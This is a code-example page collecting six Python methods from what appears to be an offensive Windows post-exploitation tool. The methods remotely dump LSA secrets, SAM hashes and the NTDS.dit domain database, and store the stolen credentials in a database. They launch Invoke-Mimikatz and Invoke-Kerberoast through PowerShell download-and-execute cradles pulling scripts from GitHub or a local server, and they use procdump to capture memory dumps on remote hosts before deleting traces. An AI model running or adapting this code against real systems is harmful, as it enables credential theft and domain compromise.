Esempio n. 1
0
    def lsa(self):
        def add_lsa_secret(secret):
            for x in secret.splitlines():
                self.logger.success([self.host, self.ip, "LSA SECRET", x])
                add_lsa_secret.secrets += 1

        try:
            # Output File
            file_name = '{}_{}'.format(self.host.lower(), get_filestamp())
            outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name)
            # Dump
            add_lsa_secret.secrets = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SECURITYFileName = self.remote_ops.saveSECURITY()
                LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))
                LSA.dumpCachedHashes()
                LSA.exportCached(outfile)
                LSA.dumpSecrets()
                LSA.exportSecrets(outfile)
        except Exception as e:
            self.logger.debug('LSA Extraction Failed for {}: {}'.format(self.host, str(e)))

        if add_lsa_secret.secrets > 0:
            self.logger.info([self.host, self.ip, "LSA SECRET", 'Output saved to: {}.secrets'.format(outfile)])

        try:
            self.remote_ops.finish()
        except Exception as e:
            self.logger.debug(["LSA", "Error calling remote_ops.finish(): {}".format(e)])
        LSA.finish()
Esempio n. 2
0
    def sam(self):
        def add_sam_hash(sam_hash, host):
            self.logger.success([self.host, self.ip, "SAM HASH", sam_hash])
            username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
            self.db.update_user(username, '', host, "{}:{}".format(lmhash, nthash))
            add_sam_hash.added_to_db += 1

        try:
            # Output File
            file_name = '{}_{}'.format(self.host.lower(), get_filestamp())
            outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name)

            add_sam_hash.added_to_db = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, self.host))
                SAM.dump()
                SAM.export(outfile)
        except Exception as e:
            self.logger.debug('SAM Extraction Failed for {}: {}'.format(self.host, str(e)))

        if add_sam_hash.added_to_db > 0:
            self.logger.success([self.host, self.ip, "SAM HASH", '{} hashes added to the database'.format(add_sam_hash.added_to_db)])
            self.logger.info([self.host, self.ip, "SAM HASH", 'Output saved to: {}.sam'.format(outfile)])

        try:
            self.remote_ops.finish()
        except Exception as e:
            self.logger.debug(["SAM", "Error calling remote_ops.finish(): {}".format(e)])
        SAM.finish()
Esempio n. 3
0
    def run(self, target, args, smb_con, loggers, config_obj):
        logger  = loggers['console']
        timeout = args.timeout
        loggers['console'].info([smb_con.host, smb_con.ip, self.name.upper(), 'Attempting Invoke-Mimikatz'])
        try:
            # Define Script Source
            if args.fileless:
                srv_addr = get_local_ip()
                script_location = 'http://{}/Invoke-Mimikatz.ps1'.format(srv_addr)
                setattr(args, 'timeout', timeout + 60)
            else:
                script_location = 'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1'
                setattr(args, 'timeout', timeout + 25)
            logger.debug('Script source: {}'.format(script_location))

            # Setup PS1 Script
            cmd = """Invoke-Mimikatz -Command \"{}\"""".format(self.args['COMMAND']['Value'])
            launcher = powershell.gen_ps_iex_cradle(script_location, cmd)

            try:
                # Execute
                cmd = powershell.create_ps_command(launcher, loggers['console'], force_ps32=args.force_ps32, no_obfs=args.no_obfs, server_os=smb_con.os)
                results = code_execution(smb_con, args, target, loggers, config_obj, cmd, return_data=True)

                # Display Output
                if not results:
                    loggers['console'].fail([smb_con.host, smb_con.ip, self.name.upper(), 'No output returned'])
                    return
                elif args.debug:
                    for line in results.splitlines():
                        loggers['console'].debug([smb_con.host, smb_con.ip, self.name.upper(), line])

                # Parse results and send creds to db
                db_updates = 0
                for cred in self.parse_mimikatz(results):
                    if cred[0] == "hash":
                        smb_con.db.update_user(cred[2], '', cred[1], cred[3])
                        loggers['console'].success([smb_con.host, smb_con.ip, self.name.upper(),"{}\\{}:{}".format(cred[1],cred[2],cred[3])])
                        db_updates += 1

                    elif cred[0] == "plaintext":
                        smb_con.db.update_user(cred[2], cred[3], cred[1], '')
                        loggers['console'].success([smb_con.host, smb_con.ip, self.name.upper(),"{}\\{}:{}".format(cred[1], cred[2], cred[3])])
                        db_updates += 1
                loggers['console'].info([smb_con.host, smb_con.ip, self.name.upper(), "{} credentials updated in database".format(db_updates)])

                # write results to file
                file_name = 'mimikatz_{}_{}.txt'.format(target, get_filestamp())
                tmp_logger = setup_file_logger(args.workspace, file_name, ext='')
                tmp_logger.info(results)
                loggers['console'].info([smb_con.host, smb_con.ip, self.name.upper(), "Output saved to: {}".format(file_name)])

            except Exception as e:
                if str(e) == "list index out of range":
                    loggers['console'].fail([smb_con.host, smb_con.ip, self.name.upper(), "{} failed".format(self.name)])
                else:
                    loggers['console'].fail([smb_con.host, smb_con.ip, self.name.upper(), str(e)])

        except Exception as e:
            logger.debug("{} Error: {}".format(self.name, str(e)))
Esempio n. 4
0
    def run(self, target, args, smb_con, loggers, config_obj):
        logger = loggers['console']
        timeout = args.timeout
        loggers['console'].info([
            smb_con.host, smb_con.ip,
            self.name.upper(), 'Attempting Invoke-Kerberoast'
        ])
        try:
            # Define Script Source
            if args.fileless:
                srv_addr = get_local_ip()
                script_location = 'http://{}/Invoke-Kerberoast.ps1'.format(
                    srv_addr)
                setattr(args, 'timeout', timeout + 30)
            else:
                script_location = 'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1'
                setattr(args, 'timeout', timeout + 15)
            logger.debug('Script source: {}'.format(script_location))

            # Setup PS1 Script
            launcher = powershell.gen_ps_iex_cradle(script_location, '')

            # Execute
            cmd = powershell.create_ps_command(launcher,
                                               loggers['console'],
                                               force_ps32=args.force_ps32,
                                               no_obfs=args.no_obfs,
                                               server_os=smb_con.os)
            x = code_execution(smb_con,
                               args,
                               target,
                               loggers,
                               config_obj,
                               cmd,
                               return_data=True)

            # Display Output
            for line in x.splitlines():
                loggers['console'].success(
                    [smb_con.host, smb_con.ip,
                     self.name.upper(), line])

            # write results to file
            file_name = 'kerberoast_{}_{}.txt'.format(target, get_filestamp())
            tmp_logger = setup_file_logger(args.workspace, file_name, ext='')
            tmp_logger.info(x)
            loggers['console'].info([
                smb_con.host, smb_con.ip,
                self.name.upper(), "Output saved to: {}".format(file_name)
            ])
        except Exception as e:
            logger.debug("{} Error: {}".format(self.name, str(e)))
Esempio n. 5
0
    def ntds(self):
        def add_ntds_hash(ntds_hash):
            if ntds_hash.find('$') == -1:
                if "CLEARTEXT" in ntds_hash:
                    try:
                        username, password = ntds_hash.split(":CLEARTEXT:")
                        add_ntds_hash.clear_text += 1
                        domain, username = username.split("\\")
                        self.db.update_user(username, password, domain, '')
                        add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.fail("Error adding clear text cred to db: {}".format(ntds_hash))
                else:
                    if ntds_hash.find('\\') != -1:
                        domain, hash = ntds_hash.split('\\')
                    else:
                        domain = self.domain
                        hash = ntds_hash

                    try:
                        username, _, lmhash, nthash, _, _, _ = hash.split(':')
                        parsed_hash = ':'.join((lmhash, nthash))
                        if validate_ntlm(parsed_hash):
                            add_ntds_hash.ntds_hashes += 1
                            self.db.update_user(username, '', domain, "{}:{}".format(lmhash,nthash))
                            add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.debug("Skipping non-NTLM hash: {}".format(ntds_hash))
            else:
                self.logger.debug("Skipping computer account")

        try:
            self.enable_remoteops()
            use_vss_method = self.args.use_vss
            NTDSFileName = None
            add_ntds_hash.ntds_hashes = 0
            add_ntds_hash.clear_text = 0
            add_ntds_hash.added_to_db = 0
            # Output File
            file_name = '{}_{}'.format(self.host.lower(), get_filestamp())
            outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name)

            if self.remote_ops and self.bootkey:
                if self.args.ntds is 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True,
                                  remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False,
                                  pwdLastSet=False, resumeSession=None, outputFileName=outfile,
                                  justUser=None, printUserStatus=False,
                                  perSecretCallback=lambda secretType, secret: add_ntds_hash(secret))

                self.logger.info([self.host, self.ip, "NTDS", 'Extracting NTDS.dit, this could take a few minutes...'])
                NTDS.dump()

                self.logger.success([self.host, self.ip, "NTDS", '{} hashes and {} passwords collected'.format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text)])
                self.logger.success([self.host, self.ip, "NTDS", '{} creds added to the database'.format(add_ntds_hash.added_to_db)])
                self.logger.info([self.host, self.ip, "NTDS", 'Hash files located at: {}'.format(outfile)])

            else:
                raise Exception("RemoteOps and BootKey not initiated")
        except Exception as e:
            self.logger.fail('NTDS Extraction Failed for {}: {}'.format(self.host, str(e)))

        try:
            self.remote_ops.finish()

        except Exception as e:
            self.logger.debug(["NTDS", "Error calling remote_ops.finish(): {}".format(e)])
        NTDS.finish()
Esempio n. 6
0
    def run(self, target, args, smb_con, loggers, config_obj):
        # Setup vars
        self.logger = loggers['console']
        self.loggers = loggers
        self.config_obj = config_obj
        self.pd_binary = os.path.join(os.path.expanduser('~'), '.ar3',
                                      'scripts', 'procdump.exe')
        self.smb_con = smb_con
        self.cmd_args = args

        # Ability to change where tmp files located using cmd args
        self.ip = '127.0.0.1'
        self.share = args.exec_share
        self.path = args.exec_path

        # Remote file paths
        self.binary_name = gen_random_string() + ".txt"
        self.output_name = gen_random_string() + ".dmp"

        # Local file paths
        self.local_binary = os.path.join(os.path.expanduser('~'), '.ar3',
                                         'scripts', 'procdump.exe')
        self.file_name = 'procdump_{}_{}.dmp'.format(target, get_filestamp())
        self.local_output = setup_log_file(args.workspace,
                                           self.file_name,
                                           ext='')

        try:
            self.procdump()
        except Exception as e:
            self.logger.fail([smb_con.host, smb_con.ip, self.name.upper(), e])
            return
        finally:
            try:
                self.logger.info([
                    self.smb_con.host, self.smb_con.ip,
                    self.name.upper(), "Deleting remote files"
                ])
                self.smb_con.deleteFile(self.path + self.binary_name,
                                        self.share)
                self.smb_con.deleteFile(self.path + self.output_name,
                                        self.share)
            except:
                pass

        # Check for local dmp file, & parse
        if os.path.exists(self.local_output):
            if os.path.getsize(self.local_output) != 0:
                try:
                    self.logger.info([
                        smb_con.host, smb_con.ip,
                        self.name.upper(),
                        "Parsing dump file: {}".format(self.file_name)
                    ])
                    self.parsedump(loggers, smb_con, self.local_output)
                except:
                    self.logger.fail([
                        smb_con.host, smb_con.ip,
                        self.name.upper(),
                        "Error reading dump file: {}".format(self.file_name)
                    ])
            else:
                self.logger.fail([
                    smb_con.host, smb_con.ip,
                    self.name.upper(), "No data found, removing empty dmp file"
                ])
                os.remove(self.local_output)
        else:
            self.logger.fail([
                smb_con.host, smb_con.ip,
                self.name.upper(), "Dmp file not found"
            ])